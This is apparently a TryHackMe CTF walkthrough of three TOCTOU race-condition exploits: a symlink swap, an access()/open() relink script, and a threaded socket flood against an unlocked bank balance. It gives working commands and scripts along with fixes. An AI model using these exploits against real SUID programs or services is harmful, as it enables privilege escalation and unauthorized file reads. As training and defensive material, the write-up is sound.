Race Conditions Challenge
Three SUID programs each lose a race: a flag reader that checks for a symlink before it opens the file, a cat clone that gates open() on an access() check with a usleep() gap, and a threaded banking server whose unsynchronised global balance can be raced past the purchase threshold.
Race Conditions Challenge — Three SUID Programs That Lose the Race
A walkthrough of the “Race Conditions Challenge” room on TryHackMe. Logged in as the low-privileged race**, we meet three SUID binaries — one per user — that each read a protected flag “safely.” All three fail the same way: they check a condition at one moment and act on it at another, leaving a window to change the world in between. We win a file-swap TOCTOU, a tighter access()/open() race, and a data race on an unsynchronised bank balance.
Race Conditions Challenge is an authorized training room on TryHackMe; everything here was performed against a legal practice target. Flag values are redacted and shown as
THM{<redacted>}.
TL;DR
TL;DR
SSH in as race; each of walk, run, and sprint owns a SUID binary that reads its own flag → Flag 1 (walk/anti_flag_reader): it checks the path for flag and whether the file is a symlink, then waits for Enter before opening — so run it on a plain file, swap that file for a symlink to ../walk/flag in another session, then press Enter (TOCTOU) → Flag 2 (run/cat2): it gates open() on an access() check followed by usleep(500) — a bash script runs it in the background and relinks the file to /home/run/flag during the sleep window → Flag 3 (sprint/bankingsystem): a threaded TCP service keeps a single unsynchronised global balance (max 10000 per connection, flag costs 15000) — hammer it with concurrent deposits so a data race pushes the balance past 15000 while a purchase flag thread reads it → three flags.
Check-then-use with a gap in the middle is the whole room — the gap is where the attacker lives.
The target
export IP=<target-ip>
We already have SSH access as race. Each other home directory holds a SUID binary, its C source, and a flag only that user can read:
race@ip-10-x-x-x:/home$ ls
race run sprint walk ...
# walk/anti_flag_reader (-rwsr-sr-x walk)
# run/cat2 (-rwsr-sr-x run)
# sprint/bankingsystem (-rwsr-sr-x sprint)
Each program claims to read files “safely” — and the source for each is right there to read.
The vulnerability — time-of-check to time-of-use
Insight
All three binaries make a decision based on the state of something (a file, a balance) at one instant, pause, then act on that decision at a later instant — assuming nothing changed in between. That assumption is the TOCTOU bug: the attacker uses the pause to change the file (swap it for a symlink) or the shared value (race it with other threads). A check is only as good as the instant it was taken; acting on a stale check is acting on a lie.
Step 1 — Flag 1: swap a file for a symlink after the check
walk/anti_flag_reader refuses paths containing flag and refuses symlinks — but it stores those results, waits for Enter, and only then opens the file:
int path_check = strstr(argv[1], "flag");
lstat(argv[1], &lstat_buf);
int symlink_check = (S_ISLNK(lstat_buf.st_mode));
puts("<Press Enter to continue>");
getchar(); // <-- the window
if (path_check || symlink_check) { /* refuse */ }
else { int fd = open(argv[1], 0); /* print file */ }
Run it on a plain file we own and don’t press Enter:
race@ip-10-x-x-x:~$ echo hello > test
race@ip-10-x-x-x:~$ ../walk/anti_flag_reader test
# Checking ... <Press Enter to continue> (left waiting)
In a second SSH session, replace test with a symlink to walk’s flag, then return to the first session and press Enter:
race@ip-10-x-x-x:~$ ln -sf ../walk/flag test
The checks passed against the old plain file; open() now follows the symlink and prints walk’s flag:
This file can't possibly be the flag. I'll print it out for you:
THM{<redacted>}
(Do this in race’s home, not /tmp — fs.protected_symlinks stops the swap in world-writable directories.)
Step 2 — Flag 2: race the access() / open() gap
run/cat2 calls access() to check the real user’s permission, sleeps, then open()s — the classic insecure pattern:
//Time of Check
context = check_security_contex(argv[1]); // access(file, R_OK); usleep(500);
//Time of Use
if (context == 0) { fd = open(argv[1], 0); /* print file */ }
The usleep(500) is the window. A short script creates a readable file, launches cat2 in the background, and relinks the path to run’s flag during the sleep:
#!/bin/bash
touch test
/home/run/cat2 test & # access() sees our readable file...
ln -sf /home/run/flag test # ...then we swap it before open()
wait
When open() fires, the path points at run’s flag and cat2 prints it:
The user has access, outputting file...
THM{<redacted>}
Step 3 — Flag 3: a data race on an unsynchronised balance
sprint/bankingsystem is a threaded TCP server on port 1337. A single global money has no locking; deposit adds 10000, and purchase flag sends the flag only if money >= 15000. One connection can add at most 10000 — below the threshold — but many concurrent threads reading and writing the same global interleave, so the balance can jump to 20000 or 30000:
int money; // shared, no mutex
...
if (strstr(buffer, "deposit")) { money += 10000; }
else if (strstr(buffer, "purchase flag")) {
if (money >= 15000) { sendfile(sock, open("/home/sprint/flag", O_RDONLY), 0, 128); money -= 15000; }
}
Fire many concurrent deposit connections alongside purchase flag and let the race carry the balance over 15000 for one of the purchase threads:
import socket, threading
IP, PORT = "$IP", 1337
def send(cmd):
s = socket.socket(); s.connect((IP, PORT)); s.sendall(cmd.encode())
print(s.recv(1024).decode()); s.close()
for _ in range(1000):
threading.Thread(target=send, args=("deposit",)).start()
threading.Thread(target=send, args=("purchase flag",)).start()
Somewhere in the flood, a purchase flag thread observes a balance that concurrent deposits inflated past 15000, and the server hands over the flag:
Current balance: 20000
THM{<redacted>}
Three binaries, three races: a file swap, a sleep window, and an unguarded shared counter.
Impact
Critical
Medium–High — CVSS 3.1 7.0 (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N). Each SUID program discloses another user’s protected file, and the banking service lets any client buy a resource it can’t afford:
- Symlink TOCTOU — the file checked is not the file opened, so a SUID reader is tricked into reading an arbitrary target.
access()**/**open()race — the permission check and the open operate on different moments, so a timed relink reads a file the user can’t.- Unsynchronised shared state — concurrent threads mutate a global balance without locking, defeating the purchase check.
Recommended fix
Fix
- Check and use the same handle.
open()first, then validate the file descriptor withfstat/O_NOFOLLOW; neverlstat-then-opena path an attacker can swap, and don’t pause between check and use. - Never gate
open()withaccess()**.**access()tests the real uid and is inherently racy for SUID programs; drop privileges (seteuid) and letopen()enforce permission, or useopenat2withRESOLVE_NO_SYMLINKS. - Synchronise shared state. Guard the balance with a mutex (or atomics) across the read-check-write, so concurrent requests can’t interleave past the threshold.
Takeaways
- A check is a snapshot. The moment you act on it later, an attacker may have changed what you checked — that gap is the vulnerability.
- Symlinks turn “which file” into attacker input. A SUID reader that follows a path you control reads whatever you point it at.
access()beforeopen()is a textbook race. It is the canonical TOCTOU anti-pattern precisely because the two calls can’t be atomic.- Threads without locks share bugs. An unsynchronised global is a race waiting for enough concurrency; here that race buys a flag you couldn’t afford.
Thanks for reading. Race Conditions Challenge is three clean demonstrations of one idea — check-then-use with a gap — and three different ways to climb into that gap.